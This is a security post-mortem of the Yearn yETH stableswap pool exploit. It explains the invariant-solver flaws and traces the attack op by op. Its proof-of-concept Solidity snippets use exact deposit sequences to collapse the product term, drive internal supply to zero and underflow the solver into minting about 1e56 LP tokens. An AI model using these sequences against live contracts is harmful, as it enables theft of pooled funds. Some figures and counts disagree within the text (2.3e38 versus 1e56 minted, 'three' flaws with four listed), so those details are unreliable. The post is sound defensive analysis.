Written by @ainta, Reviewed by QED Audit

We provide a comprehensive breakdown of the Yearn Finance yETH weighted stableswap pool exploit, alongside two independent exploit variants discovered by our team.

Table of Contents

Overview

The yETH weighted stableswap pool was exploited due to three interacting design flaws:

  1. Broken Safety Band Enforcement: add_liquidity() only checked band constraints for assets with nonzero amounts, allowing attackers to render the pool imbalanced by depositing only 5 of the 8 assets.
  2. Precision Loss: _calc_supply() rounds down a critical parameter vb_prod that should be nonzero to zero, resulting in unexpected behavior in subsequent computations.
  3. Unchecked Assumption: _calc_supply assumed that the parameters vb_sum, vb_prod and D reside within a valid mathematical region, resulting in integer underflow due to unsafe arithmetics.
  4. Inconsistent Supply Management: The pool’s internal representation of supply (D) was decoupled with the outstanding LP token balance (totalSupply()), allowing the attacker to hold shares larger than D.

In our view, (1) and (2) is the direct root cause of the exploit,(4) allows the attacker to manipulate D to zero, a precondition which violates the assumptions made in (3), allowing the attacker to mint an astronomical(2.3e38 yETH) amount LP shares.

In addition, we discovered that it is possible to:

  1. Incur critical precision loss similar to that of (2), in a different execution path (within add_liquidity).
  2. The underflow in (3) may be triggered even without manipulating D to zero.

The detail of these issues is in Part 3.

The Three-Phase Attack

The attack is executed in three phases:

Phase 1: Drive π → 0 (precision loss, no underflow)

  • Repeatedly: remove_liquidity(all)add_liquidity(unbalanced)
  • π grows extreme, then collapses to 0 via truncation

Phase 2: Bleed staking, reach supply = 0

  • With π=0, add_liquidity() over-inflates supply
  • remove_liquidity(0) rebuilds π from scratch
  • update_rates()_update_supply() burns from staking only
  • Result: attacker_LP > supply, then supply = 0 with LP outstanding

Phase 3: Init branch + dust deposit → underflow

  • With prev_supply == 0, init branch bypasses band checks
  • Deposit [1,1,1,1,1,1,1,9] wei → tiny σ, huge π
  • (A·σ - D·π) < 0 in real math → unsafe_sub wraps to ~2²⁵⁶
  • D jumps to ≈ 2.3×10⁵⁶, attacker mints astronomical LP

Phase 1 and 2 will be discussed in Part 1, and phase 3 will be discussed in Part 2.

Part 0: Background

The Pool’s Invariant System

The yETH pool holds 8 LST-like assets (indices 0–7):

Index Asset Target Weight
0 sfrxETH 20%
1 wstETH 20%
2 ETHx 10%
3 cbETH 10%
4 rETH 10%
5 apxETH 25%
6 wOETH 2.5%
7 mETH 2.5%

Each asset has:

  • An on-chain rate provider returning “beacon ETH per token”
  • A target weight representing its desired share of beacon ETH

Virtual balance is defined as:

\[\text{vb}_i = \text{balance}_i \times \text{rate}_i\]

From these, we compute:

Term Symbol Definition
Sum term σ \(\sum_i \text{vb}_i\)
Product term π \(\approx \prod_i \left(\frac{w_i \cdot D}{\text{vb}_i}\right)^{w_i \cdot n}\)

Both σ and π are maintained in storage in packed form (packed_pool_vb).

Two Notions of “Supply”

A critical design aspect of this pool is that there are two independent pieces of state representing “supply”:

  1. Pool’s Internal supply (D): A Vyper state variable computed from the pool’s invariant equation. It is updated by:
    • add_liquidity / remove_liquidity code paths
    • _update_supply() (called from _update_rates() / _update_weights())

    This is a derived value calculated via _calc_supply(num_assets, supply, amplification, vb_prod, vb_sum, up).

  2. yETH ERC-20 Token Balances: The actual LP token (PoolToken) has its own totalSupply, balanceOf(staking), balanceOf(attacker), etc. These live entirely in the ERC-20 contract, and the pool never reads totalSupply().

Crucially, there is no invariant enforcing:

pool.supply == YETH.totalSupply()

or even:

pool.supply >= balanceOf(staking) + balanceOf(vault) + balanceOf(attacker)

This means if _calc_supply and _update_supply mis-compute the internal supply, the ERC-20 side can easily drift. In fact, even before the attack began, the staking contract’s LP balance already exceeded the pool’s internal supply:

yETH staking LP balance: 2,959,766,578,515,706,461,046
Pool internal supply:    2,927,218,062,049,796,735,134

Actually, it was decoupled at first; when it deployed.

This decoupling is fundamental to understanding how supply = 0 can be achieved while LP tokens still exist.

The Invariant and _calc_supply

The yETH whitepaper gives the weighted stableswap invariant (simplified):

\[A f^n \cdot \sigma + D = A f^n \cdot D + D \cdot \pi\]

On-chain, amplification stores $(A \cdot f^n)$, so the implemented equation becomes:

\[A \cdot \sigma + D = A \cdot D + D \cdot \pi\]

Rearranging:

\[(A - 1) \cdot D = A \cdot \sigma - D \cdot \pi\] \[\boxed{D_{\text{next}} = \frac{A \cdot \sigma - D \cdot \pi}{A - 1}}\]

Part 1: Driving π to 0 and Reaching supply = 0

The main vulnerability is in the _calc_supply() function, which is used by both add_liquidity() and remove_liquidity().

The _calc_supply() implementation:

@internal
@pure
def _calc_supply(
    _num_assets: uint256,
    _supply: uint256,      # initial D
    _amplification: uint256,
    _vb_prod: uint256,     # initial π
    _vb_sum: uint256,      # σ
    _up: bool
) -> (uint256, uint256):
    l: uint256 = _amplification        # A
    d: uint256 = l - PRECISION         # A - 1
    l = l * _vb_sum                    # l = A·σ

    s: uint256 = _supply               # current D
    r: uint256 = _vb_prod              # current π

    for _ in range(255):
        sp = unsafe_div(unsafe_sub(l, s * r), d)   # D_next = (A·σ - D·π)/(A - 1)

        # update π using D_next / D
        for i in range(MAX_NUM_ASSETS):
            if i == _num_assets:
                break
            r = unsafe_div(unsafe_mul(r, sp), s)   # r *= (sp / s)

        # check convergence, return if converged...

    raise  # no convergence after 255 iterations

Risk factors:

Issue Impact
Uses unsafe_sub / unsafe_mul Negative results wrap modulo 2²⁵⁶; multiplies can overflow silently
Assumes valid inputs No check that \(A \cdot \sigma \ge D \cdot \pi\)
Fragile π rescaling Repeated r = r * sp / s with integer division can drive π to 0

Phase 1: Driving π to 0

We will refer to each attacker’s add_liquidity / remove_liquidity calls as an “op”, and the details of each op are in Appendix.

1.1 Transaction Pattern (Ops 1–10)

The attacker starts with some yETH LP and repeats:

  1. remove_liquidity(all attacker LP) — balanced withdrawal from ALL assets
  2. add_liquidity(unbalanced) — deposit only into assets [0, 1, 2, 4, 5], deposit 0 into assets [3, 6, 7]

Every withdrawal drains all assets proportionally, but only some are replenished. Over time, assets 3, 6, 7 become extremely small while assets 0, 1, 2, 4, 5 grow.

Internal π trace:

Op Type π (start) π (end)
1 remove_liq 1.22×10¹⁸ 1.22×10¹⁸
2 add_liq 1.22×10¹⁸ 2.14×10¹⁸
4 add_liq 2.14×10¹⁸ 5.92×10¹⁸
6 add_liq 5.92×10¹⁸ 2.07×10¹⁹
8 add_liq 2.07×10¹⁹ 4.22×10¹⁹
10 add_liq 4.22×10¹⁹ 0 ← π collapses

1.2 Bypassing Weight Safety Bands

Intended behavior (from spec):

“Any change in balances is only accepted if the resulting composition stays within a tolerance range of the desired composition, or moves closer to it.”

Actual implementation:

if prev_supply > 0:
    j = 0
    for asset in range(MAX_NUM_ASSETS):
        if asset == num_assets:
            break
        if _amounts[asset] == 0:
            continue  # ◄── BUG: skip band check if no deposit
        vb, rate, packed_weight = self._unpack_vb(self.packed_vbs[asset])
        self._check_bands(prev_ratios[j], vb * PRECISION / vb_sum_final, packed_weight)
        j += 1

The bug:

  • Band checks only apply to assets where _amounts[asset] > 0
  • Depositing 0 for an asset means its band is never checked
  • Assets 3, 6, 7 can drift arbitrarily far from target weights

Root Cause #1: Safety bands are not global. Skipping assets with zero deposit allows weights to become extreme.

1.3 Why π Collapses to 0 (No Underflow)

Inside _calc_supply, after computing a new sp (next D), π is updated:

for i in range(MAX_NUM_ASSETS):
    if i == _num_assets:
        break
    r = unsafe_div(unsafe_mul(r, sp), s)  # r *= (sp / s)

Abstractly, one iteration multiplies π by \((sp/s)^n\):

\[\pi_{m+1} = \pi_m \cdot \left(\frac{D_{m+1}}{D_m}\right)^n\]

The collapse happens in two stages:

Stage 1: add_liquidity Pre-Shrinks π

Before _calc_supply() runs, add_liquidity() updates vb_prod:

fee: uint256 = (dvb - prev_vb * lowest / PRECISION) * fee_rate / PRECISION
vb_prod = vb_prod * self._pow_up(prev_vb * PRECISION / (vb - fee), wn) / PRECISION

For a large deposit:

  • prev_vb / (vb - fee) becomes small (≪ 1)
  • pow_up(...) returns a small factor
  • vb_prod shrinks dramatically

In Op #10:

vb_prod before add_liquidity:   4.22×10¹⁹
vb_prod before _calc_supply:    3.53×10¹⁵  ← already shrunk

Stage 2: Two Iterations → Catastrophic Shrink

Initial state for _calc_supply in Op #10:

s₀ (D)  ≈ 2.51×10²¹
r₀ (π)  ≈ 3.53×10¹⁵
σ       ≈ 1.09×10²²
A       = 4.5×10²⁰

Iteration 0:

s₀ ≈ 2.51×10²¹  →  s₁ ≈ 1.09×10²²   (D grows ~4.3×)
r₀ ≈ 3.53×10¹⁵  →  r₁ ≈ 4.49×10²⁰   (π explodes up)

Because π was pre-shrunk, s*r is initially modest. The first iteration amplifies π.

Iteration 1:

s₁ ≈ 1.09×10²²  →  s₂ ≈ 1.91×10¹⁸   (D shrinks dramatically)
r₁ ≈ 4.49×10²⁰  →  r₂ = 0           (π truncates to zero)

Now s*r is extremely close to l = A·σ:

  • The numerator l - s*r is positive but tiny
  • sp = (l - s*r)/(A-1) becomes much smaller than s
  • The ratio sp/s is tiny
  • With 8 assets: \((sp/s)^8 \ll 1\)
  • After integer division: r_new < 1truncates to 0

Key insight: Throughout this run, (A·σ - D·π) stays non-negative. This is pure precision loss, not arithmetic underflow.

Question 1. Is it only the location that π=0 happens?

Question 2. If deposit more, does l < s*r holds? Can we use this?

You can see the answer of the questions in Part 3

After Op #10: The π=0 Regime

vb_prod = 0       ← stuck at zero
supply  ≈ 1.09×10²²  (inflated)
vb_sum  ≈ 5.9×10²¹

Once π=0, any multiplicative update:

vb_prod = vb_prod * something / PRECISION  # = 0

keeps it at zero.

With π=0, the D-update degenerates to:

\[D_{\text{next}} \approx \frac{A \cdot \sigma}{A - 1}\]

The “penalty” for imbalance disappears, and D becomes over-estimated for a given σ.

Phase 2: Bleeding Staking and Driving supply to 0

2.1 The π=0 Regime: Inflating supply

With π=0:

\[D_{\text{next}} = \frac{A\sigma - D \cdot 0}{A - 1} = \frac{A\sigma}{A - 1}\]
  • calculated D is overestimated
  • this means more LP is minted to attacker

At this point, asset theft is already ongoing. Hitting supply=0 sets up the Phase 3 trick.

2.2 remove_liquidity(0) to Rebuild π

Balanced remove_liquidity() recomputes π from scratch:

vb_prod: uint256 = PRECISION
vb_sum: uint256 = 0
for asset in range(MAX_NUM_ASSETS):
    ...
    vb = ...  # new vb_i after withdrawal
    vb_sum = vb_sum + vb
    vb_prod = vb_prod * self._pow_down(
        supply * weight / vb, weight * num_assets
    ) / PRECISION

The trick: Calling remove_liquidity(0):

  • Burns no LP
  • Transfers no tokens
  • But recomputes π from actual balances
Before remove_liquidity(0):  vb_prod = 0
After remove_liquidity(0):   vb_prod ≈ 9.1×10¹⁹  ← rebuilt!

2.3 update_rates() to Burn from Staking

update_rates() triggers _update_supply(), which recomputes D and corrects the difference:

def _update_supply(_supply, _vb_prod, _vb_sum):
    supply, vb_prod = self._calc_supply(..., _supply, _vb_prod, _vb_sum, True)
    if supply > _supply:
        PoolToken(token).mint(self.staking, supply - _supply)    # ← only staking
    elif supply < _supply:
        PoolToken(token).burn(self.staking, _supply - supply)    # ← only staking
    self.supply = supply

The attack pattern:

  1. While π=0: unbalanced add_liquidity() — supply inflates under broken invariant
  2. remove_liquidity(0) — π rebuilt from scratch (no tokens move)
  3. update_rates()_update_supply() recomputes smaller D, burns difference from staking only

Result: Attacker LP unchanged, staking LP burned at update_rates()

From logs:

old_supply: 1.095×10²²
new_supply: 9.985×10²¹
Burned from staking: ≈ 9.66×10²⁰ LP

update_rates([asset_idx]) updates supply only when that asset’s rate is not updated, so it limits the number of this repetition. The attacker used the rebasing LST wOETH (asset 6) to trigger update_rates([6]) twice. This is just a convenient trigger; our PoC achieves same results (supply=0 then mint 2e56 tokens) without rebasing.

2.4 Reaching attacker_LP > supply

By repeating the cycle, the attacker walks supply down while their LP stays constant:

After several cycles:
─────────────────────
pool.supply   ≈ 1.01×10²²
attacker_LP   ≈ 1.048×10²²  ← exceeds supply!

This is possible because:

  • supply never matched totalSupply() from the start
  • _update_supply() only adjusts staking’s balance
  • Attacker’s LP is never scaled down during corrections

2.5 Forcing supply = 0

The attacker calls:

POOL.remove_liquidity(POOL.supply(), min_amounts);

Pool computation:

prev_supply = 1.01×10²²
_lp_amount  = 1.01×10²²

supply = prev_supply - _lp_amount = 0

Attacker’s LP:

Before: 1.048×10²²
After:  1.048×10²² - 1.01×10²² = 3.77×10²⁰

Final state:

  • supply = 0 (internal D)
  • Pool still holds LST assets
  • Attacker still holds LP
  • Other addresses (vault, users, staking) also still hold LP

The next add_liquidity() sees prev_supply == 0 and takes the initialization branch.

Root Causes (Part 1)

  1. Integer Precision Loss in Iterative Solver: The repeated r = r * sp / s operation with integer division can drive π to exactly 0 when the ratio sp/s becomes very small.

  2. Broken Band Checks: Band checks only apply to assets with non-zero deposits, allowing extreme weight drift.

  3. Asymmetric vb_prod Updates:
    • add_liquidity: Updates π incrementally using pow_up() multiplications (can corrupt to 0)
    • remove_liquidity: Recomputes π fresh from all asset balances (can “fix” it)
  4. Decoupled Supply Accounting: The internal supply was never equal to LP totalSupply(), and _update_supply() only mints/burns against staking.

Part 2: Exploiting supply = 0 via Dust Deposit

After achieving supply = 0 (as described in Part 1), the attacker exploited the pool’s re-initialization branch (prev_supply == 0) in add_liquidity() to mint an astronomically large number of LP tokens (~10^56) with only dust-level deposits (1-9 wei per asset). This was possible due to an unchecked arithmetic underflow in the invariant solver (_calc_supply()), which occurs when the pool’s mathematical invariant precondition is violated.

The Re-initialization Branch

When prev_supply == 0, the add_liquidity() function takes a special “initial deposit” code path:

supply: uint256 = prev_supply
if prev_supply == 0:
    # initial deposit, calculate necessary variables
    vb_prod, vb_sum = self._calc_vb_prod_sum()
    assert vb_prod > 0 # dev: amounts must be non-zero
    supply = vb_sum
else:
    # check bands ...

This branch:

  1. Calculates vb_sum = sum of all virtual balances (σ)
  2. Calculates vb_prod = product term (π) from current balances
  3. Sets initial supply = vb_sum
  4. Skips weight band checks (which only apply when prev_supply > 0)
  5. Passes these values to _calc_supply() for iterative solving

The Attack: Dust Deposit to Empty Pool

Step 1: Dust Deposit Parameters

With the pool emptied to supply = 0, the attacker called:

add_liquidity([1, 1, 1, 1, 1, 1, 1, 9], 0)

This deposits just 17 wei total across 8 assets.

Step 2: Virtual Balance Calculation

After applying LST exchange rates (~1.1-1.2), the virtual balances become:

vb = [1, 1, 1, 1, 1, 1, 1, 9]  (all truncated to integers)
vb_sum (σ) = 16

Note: In real number arithmetic, vb_sum ≈ 17.687, but integer division truncates each vb_i to 1 (or 9 for the last asset).

Step 3: Product Term (π) Calculation

_calc_vb_prod(supply=16) computes:

π = PRECISION × ∏ᵢ ((D × wᵢ) / vbᵢ)^(wᵢ × n)

With:

  • D = 16 (initial supply = vb_sum)
  • weights: [20%, 20%, 10%, 10%, 10%, 25%, 2.5%, 2.5%]
  • vb = [1, 1, 1, 1, 1, 1, 1, 9]

The weight-to-vb ratio mismatch is extreme:

  • Asset 5: weight = 25%, but vb = 1 → drastically undersupplied
  • Asset 7: weight = 2.5%, but vb = 9 → drastically oversupplied

This produces:

vb_prod (π) ≈ 9.13 × 10^20

A massive value because the bases (D × wᵢ / vbᵢ) are highly unbalanced.

The Vulnerability: Violated Invariant Precondition

The Core Invariant

The iterative solver in _calc_supply() implements:

D[m+1] = (A·σ - D[m]·π[m]) / (A - 1)

For this iteration to produce valid results, the fundamental precondition must hold:

A·σ ≥ D·π

This ensures the numerator is non-negative, producing a positive next iterate.

Why the Precondition is Violated

With the dust deposit state:

  • A·σ = 450 × 10^18 × 16 = 7.2 × 10^21
  • D·π = 16 × 9.13 × 10^20 = 1.46 × 10^22

D·π > A·σ — the invariant precondition is violated!

In proper real number arithmetic, this would mean “no valid equilibrium exists for these inputs.” But the contract doesn’t check this condition.

The Exploit: Unchecked Arithmetic Underflow

The Vulnerable Code

In _calc_supply():

sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d)
#                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#                        This becomes negative! But unsafe_sub wraps around.

Where:

  • l = A·σ = 7.2 × 10^21
  • s = D = 16 (initially)
  • r = π = 9.13 × 10^20
  • d = A - 1 = 449 × 10^18

The computation l - s·r:

7.2 × 10^21 - 16 × 9.13 × 10^20 = 7.2 × 10^21 - 1.46 × 10^22 < 0

Since Vyper uses unsafe_sub (unchecked subtraction), the negative result wraps around to:

sp ≈ 2^256 - |actual negative value| ≈ 10^77

Then dividing by d ≈ 4.5 × 10^20:

sp ≈ 10^77 / 4.5 × 10^20 ≈ 2.2 × 10^56

Result: Astronomical LP Minting

The iterative solver “converges” (the delta becomes relatively small compared to the huge supply value) with:

supply ≈ 2.2 × 10^56 LP tokens

The attacker receives mint = supply - prev_supply ≈ 2.2 × 10^56 LP tokens for depositing just 17 wei.

When overflow occurs, it is not easy to predict whether the iteration will converge or not. However, since this is the initialization branch, the attacker can adjust every value and could find the deposit amounts that make the supply converge.

Why This Only Works with prev_supply == 0

Difference 1: The Re-initialization Branch Recalculates Everything

When prev_supply > 0:

  • The contract uses incremental updates to existing (D, σ, π)
  • Dust deposits barely affect the large existing values
  • The invariant A·σ ≥ D·π remains satisfied

When prev_supply == 0:

  • The contract recalculates (D, σ, π) entirely from scratch using only the new tiny deposits
  • The fresh _calc_vb_prod_sum() produces a (D, σ, π) triple that violates the invariant

Difference 2: Weight Band Checks Are Skipped

When prev_supply > 0:

# check bands
for asset in range(MAX_NUM_ASSETS):
    ...
    self._check_bands(prev_ratios[j], vb * PRECISION / vb_sum_final, packed_weight)

This would reject deposits where vb_i / σ deviates too far from wᵢ.

When prev_supply == 0:

  • No band checks at all
  • The wildly unbalanced [1,1,1,1,1,1,1,9] deposit is accepted despite being completely misaligned with weights

Difference 3: Integer Rounding Has Maximum Impact

With tiny deposits:

  • Each vb_i = amount × rate / PRECISION truncates to 1
  • The relative rounding error is ~10-20% (losing fractional parts)
  • This pushes π even higher (smaller denominators in D·wᵢ/vbᵢ terms)

With normal deposits:

  • Rounding errors are negligible relative to large values
  • The π calculation produces reasonable values

The Mathematical Root Cause

The solver assumes:

“Given any (A, σ, π), there exists a valid equilibrium D.”

This is false. The weighted stableswap invariant equation:

A·σ = D·π + (A-1)·D

Only has solutions when the inputs satisfy certain constraints. Specifically, for the iteration to work:

A·σ ≥ D·π  (at every iteration)

The dust deposit creates a state where:

  1. σ is tiny (16)
  2. π is huge (~9×10^20) due to weight-vb mismatch
  3. D starts at σ (16)
  4. D·π >> A·σ immediately

Without a precondition check, the contract blindly computes unsafe_sub(A·σ, D·π) and gets a wrapped-around huge number.

Why the Init Branch Is Extra Fragile

Factor Impact
No band checks Extreme imbalance accepted without verification
Fresh D and π No inertia from previous healthy states
No legacy constraints Treats dust deposit as legitimate initialization

With prev_supply > 0, the system has some anchor in prior values. It’s still possible to reach an invalid region (see Part 3, PoC B), but it typically requires more effort.

Summary Table: Normal vs Attack Scenario

Aspect Normal Deposit Attack Dust Deposit
prev_supply > 0 (has liquidity) = 0 (empty pool)
Code path Incremental update Re-initialization branch
Band checks Applied Skipped
vb_i values Large (proportional to weights) Tiny (1-9 wei), misaligned with weights
vb_sum (σ) Large 16
vb_prod (π) ~10^18 (near PRECISION) ~9×10^20 (huge)
A·σ vs D·π A·σ > D·π ✓ A·σ < D·π ✗
Iterative solver Converges normally Underflows, produces ~10^56
LP minted Proportional to deposit ~10^56 for 17 wei

Part 3: Exploit Variants

This section presents three Proof-of-Concept (PoC) variants. These PoCs prove that:

  1. Huge LP minting is possible without driving supply to 0 (ExploitWithoutSupplyZero)
  2. π can collapse to 0 in a single massive deposit (ExploitOneShotPiCollapse)
  3. The mainnet attack flow can be reproduced (ExploitFullAttack)

All PoCs fork mainnet at the pre-attack block and use the actual yETH pool contract. the codes are available in a gist page.

ExploitWithoutSupplyZero: Huge Mint Without supply = 0

Description

This PoC demonstrates that minting ~2.57×10⁵⁶ LP tokens is possible without ever driving supply to zero. This proves that the underflow vulnerability in _calc_supply() is not specific to the initialization branch—it can occur during normal operation when (σ, π, D) drift into an invalid region.

Attack Flow

The PoC replays a carefully tuned sequence of 10 operations:

  1. Ops 1-9: Follow the sequence of remove_liquidity / add_liquidity calls of original attack that push the pool increasingly off-balance
  2. Op 10: A final add_liquidity with specific amounts that trigger the underflow
// Steps 1-9: Progressively unbalanced operations
POOL.remove_liquidity(416373487230773958294, minAmounts);

amounts[0] = 610669608721347951666;
amounts[1] = 777507145787198969404;
// ... deposit unbalancely
POOL.add_liquidity(amounts, 0);

POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);
// ... repeat pattern ...


// Step 10: Final underflowing add_liquidity
// carefully chosen values to make iterative solver converges
amounts[0] = 1787971185503944868961;
amounts[1] = 1673115670659987494628;
amounts[2] = 1138412256873258296869;
amounts[3] = 0;
amounts[4] = 1063340177835964990254;
amounts[5] = 1491426265264769946811;
amounts[6] = 0;
amounts[7] = 0;
POOL.add_liquidity(amounts, 0);  // Underflow occurs here

Mechanism

The long sequence pushes (A·σ, π, D) into a region where A·σ < D·π:

  1. Each unbalanced deposit increases the imbalance between assets
  2. π grows progressively larger as weight-to-balance ratios diverge
  3. Eventually, a single add_liquidity call causes the invariant solver to underflow
  4. unsafe_sub(l, s * r) wraps to ~2²⁵⁶
  5. The mint is D_new - D_old ≈ 10⁵⁶

Key Insight

The underflow is inherent to _calc_supply() being called on unchecked inputs, not specific to the supply=0 init branch.

When overflow occurs in the iterative solver, its behavior is quite random—for some underflow conditions it converges, for others it does not. Also, it should converges in following if block too to not revert:

    if prev_supply > 0:
        # mint fees
        supply_final, vb_prod_final = self._calc_supply(num_assets, prev_supply, self.amplification, vb_prod_final, vb_sum_final, True)
        PoolToken(token).mint(self.staking, supply_final - supply)

the probability of both _calc_supply was not too high; The PoC values were found through experimentation.

Expected Output

LP token amount: ~2.57e56
Pool Supply:     ~2.57e56

ExploitOneShotPiCollapse: One-Shot π Collapse

Description

This PoC demonstrates that π can collapse to 0 in a single massive deposit, without requiring multiple cycles. This proves that even if _calc_supply() used safe arithmetic, the vb_prod update in add_liquidity() itself can drive π to zero.

Attack Flow

// Exit initial LP
POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);

// Single massive unbalanced deposit (~200x pool size)
// note that this passes band check since it is proportional to weights
amounts[0] = 20 ether * 5000;  // 100,000 ether
amounts[1] = 20 ether * 5000;
amounts[2] = 10 ether * 5000;
amounts[3] = 10 ether * 5000;
amounts[4] = 10 ether * 5000;
amounts[5] = 25 ether * 5000;
amounts[6] = 2.5 ether * 5000;
amounts[7] = 2.5 ether * 5000;

POOL.add_liquidity(amounts, 0);
// After this call: vb_prod (π) = 0

Why This Works

The add_liquidity function updates vb_prod before calling _calc_supply():

for asset in range(MAX_NUM_ASSETS):
    if asset == num_assets:
        break
    vb_prod = vb_prod * self._pow_up(prev_vb * PRECISION / (vb - fee), wn) / PRECISION

With a deposit ~200× the entire pool size:

  1. Ratio shrinks dramatically: prev_vb / (vb - fee) ≈ 1/200
  2. Exponentiation amplifies: pow_up(1/200, exponent) is extremely small
  3. Cumulative effect: Across 8 weighted assets, the cumulative factor is approximately \((1/200)^8 \approx 10^{-18}\)
  4. Integer truncation: After division by PRECISION, vb_prod truncates to 0

Example Values

Initial State:
  supply  ≈ 2.89×10²¹
  vb_prod ≈ 1.22×10¹⁸
  vb_sum  ≈ 2.89×10²¹

After one massive add_liquidity:
  supply  ≈ 5.73×10²³
  vb_prod = 0          ← collapsed!
  vb_sum  ≈ 5.72×10²³

Key Insight

π collapses to 0 purely due to multiplicative updates and integer truncation in vb_prod maintenance, before _calc_supply() even runs.

This means:

  • Even with safe arithmetic in the iterative solver, the pool can enter the π=0 regime
  • A sufficiently wealthy attacker could collapse π in a single transaction
  • Band checks don’t prevent this because the deposit still passes individual asset band constraints

Question:

  • How to remove liquidity from this pool?

ExploitFullAttack: Full Attacker-Style Flow

Description

This PoC reproduces the complete three-phase attack flow used in the actual exploit:

  1. Phase 1: Repeated unbalanced deposits/withdrawals to drain assets 3, 6, 7 and collapse π to 0
  2. Phase 2: Exploit the π=0 regime to inflate supply, then use remove_liquidity(0) + update_rates() to burn from staking
  3. Phase 3: Drive supply to 0 and mint astronomical LP via dust deposit

Key Code Structure

// Phase 1: Push pool off-balance and drain certain assets
for (uint256 i = 0; i < 110; i++) {
    amounts[0] = 25 ether;
    amounts[1] = 25 ether;
    amounts[2] = 15 ether;
    amounts[3] = 0;        // Never deposit into asset 3
    amounts[4] = 15 ether;
    amounts[5] = 30 ether;
    amounts[6] = 0;        // Never deposit into asset 6
    amounts[7] = 0;        // Never deposit into asset 7
    POOL.add_liquidity(amounts, 0);
    POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);
}

// One large unbalanced deposit to collapse π to 0
amounts[0] = 0.25 ether * 7150;
// ... (scaled deposits into assets 0,1,2,4,5 only)
POOL.add_liquidity(amounts, 0);

// π=0 regime exploits...
POOL.remove_liquidity(0, minAmounts);  // Rebuild π
POOL.update_rates(assetsNotUsed);       // Burn from staking

// Drive supply to 0
POOL.remove_liquidity(POOL.supply(), minAmounts);

// Final dust deposit for underflow
amounts = [1, 1, 1, 1, 1, 1, 1, 9];
POOL.add_liquidity(amounts, 0);
// Result: ~10^56 LP minted

What This Proves

  • The mainnet exploit is reproducible
  • The attack doesn’t rely on any specific timing or external conditions
  • Multiple cycles of π collapse → π rebuild → staking burn are needed to accumulate enough LP

Differences from Original Attack

  • Use one less update_rates()
  • update_rates() trigger using rebasing tokens (wOETH) can be replaced with add more (overestimated) liquidity

Expected Output

yeth.balanceOf(address(this)): ~2.35e56
POOL.supply():                 ~2.35e56
Profit in LST assets:          Positive for all 8 tokens

Appendix: Detailed Attack Trace

The following tables show the complete sequence of 24 operations that led to supply = 0. Each row corresponds to one add_liquidity or remove_liquidity call.

Table 1: LP Balance and Supply Changes

Column explanations:

  • supply_start/end: Pool’s internal supply (D) before/after the operation
  • 0x3e8e.. (Attacker Contract 1): One of the attacker’s contracts
  • 0xADbE.. (Attacker Contract 2): Another attacker contract
Op Type supply_start supply_end Attacker 0x3e8e Attacker 0xADbE Notes
1 remove_liq 2.928e21 2.511e21 4.16e20 → 0 0 Attacker withdraws from contract 1
2 add_liq 2.511e21 5.301e21 0 → 2.79e21 0 Attacker deposits via contract 1
3 remove_liq 5.301e21 2.512e21 2.79e21 → 2.6e15 0 Withdraw most LP
4 add_liq 2.512e21 9.892e21 2.6e15 → 7.38e21 0 Large unbalanced deposit
5 remove_liq 9.892e21 2.513e21 7.38e21 → 1.9e16 0 Withdraw
6 add_liq 2.513e21 9.580e21 1.9e16 → 7.07e21 0 Unbalanced deposit
7 remove_liq 9.580e21 2.514e21 7.07e21 → 3.7e16 0 Withdraw
8 add_liq 2.514e21 6.010e21 3.7e16 → 3.50e21 0 Unbalanced deposit
9 remove_liq 6.010e21 2.514e21 3.50e21 → 4.9e16 0 Withdraw
10 add_liq 2.514e21 1.093e22 4.9e16 → 8.41e21 0 π → 0 first time! Supply inflates
11 add_liq 1.093e22 1.095e22 8.41e21 → 8.44e21 0 π still 0, more inflation
12 remove_liq(0) 1.095e22 1.095e22 unchanged 0 π recomputed: 0 → 9.1e19
13 remove_liq 9.985e21 1.550e21 8.44e21 → 7.0e16 0 Supply dropped from 1.095e22! update_rates burned ~9.7e20
14 add_liq 1.550e21 6.512e21 7.0e16 → 4.96e21 0 π → 0 second time
15 add_liq 6.512e21 1.072e22 4.96e21 → 9.17e21 0 π still 0
16 add_liq 1.072e22 1.079e22 9.17e21 → 9.24e21 0 π still 0
17 remove_liq(0) 1.079e22 1.079e22 unchanged 0 π recomputed: 0 → 9.1e19
18 remove_liq 9.836e21 5.99e20 9.24e21 → 9.6e16 0 Supply dropped! Burn from staking
19 add_liq 5.99e20 2.576e21 9.6e16 0 → 1.98e21 π → 0 third time, LP to contract 2
20 add_liq 2.576e21 1.072e22 9.6e16 1.98e21 → 1.01e22 π still 0, attacker LP grows
21 add_liq 1.072e22 1.108e22 9.6e16 1.01e22 → 1.048e22 Total attacker LP > supply soon
22 remove_liq(0) 1.108e22 1.108e22 9.6e16 unchanged π recomputed: 0 → 9.1e19
23 remove_liq 1.010e22 0 9.6e16 1.048e22 → 3.77e20 SUPPLY = 0! Attacker burns exactly supply
24 add_liq 0 (exploit) Part 2 begins here

Key observations:

  • Between Op #12 and #13: update_rates() was called, which triggered _update_supply(). The corrected π caused supply to drop from 1.095e22 to 9.985e21 (~9.7e20 burned from staking)
  • Same pattern at Op #17→#18 and Op #22→#23
  • By Op #23: Attacker’s total LP (0x3e8e + 0xADbE) exceeds pool supply. Attacker burns exactly supply worth of LP from 0xADbE, setting internal supply to 0 while still holding LP in both contracts

Table 2: vb_prod (π) Changes

This table tracks the product term π, which is central to the attack.

Op Type π_start π_end Interpretation
1 remove_liq 1.22e18 1.22e18 Normal, π ≈ PRECISION
2 add_liq 1.22e18 2.14e18 Grows slightly
3 remove_liq 2.14e18 2.14e18 Unchanged
4 add_liq 2.14e18 5.92e18 Growing from unbalanced deposit
5 remove_liq 5.92e18 5.92e18 Unchanged
6 add_liq 5.92e18 2.07e19 Growing larger
7 remove_liq 2.07e19 2.07e19 Unchanged
8 add_liq 2.07e19 4.22e19 Growing
9 remove_liq 4.22e19 4.22e19 Unchanged
10 add_liq 4.22e19 0 π TRUNCATED TO ZERO! Iterative solver integer truncation
11 add_liq 0 0 Still zero (0 × anything = 0)
12 remove_liq(0) 0 9.09e19 π RECOMPUTED from actual balances
13 remove_liq 4.34e19 4.34e19 Note: π changed between ops due to _update_supply iterative solving
14 add_liq 4.34e19 0 π → 0 again
15 add_liq 0 0 Still zero
16 add_liq 0 0 Still zero
17 remove_liq(0) 0 9.09e19 π RECOMPUTED
18 remove_liq 4.34e19 4.34e19 After _update_supply adjustment
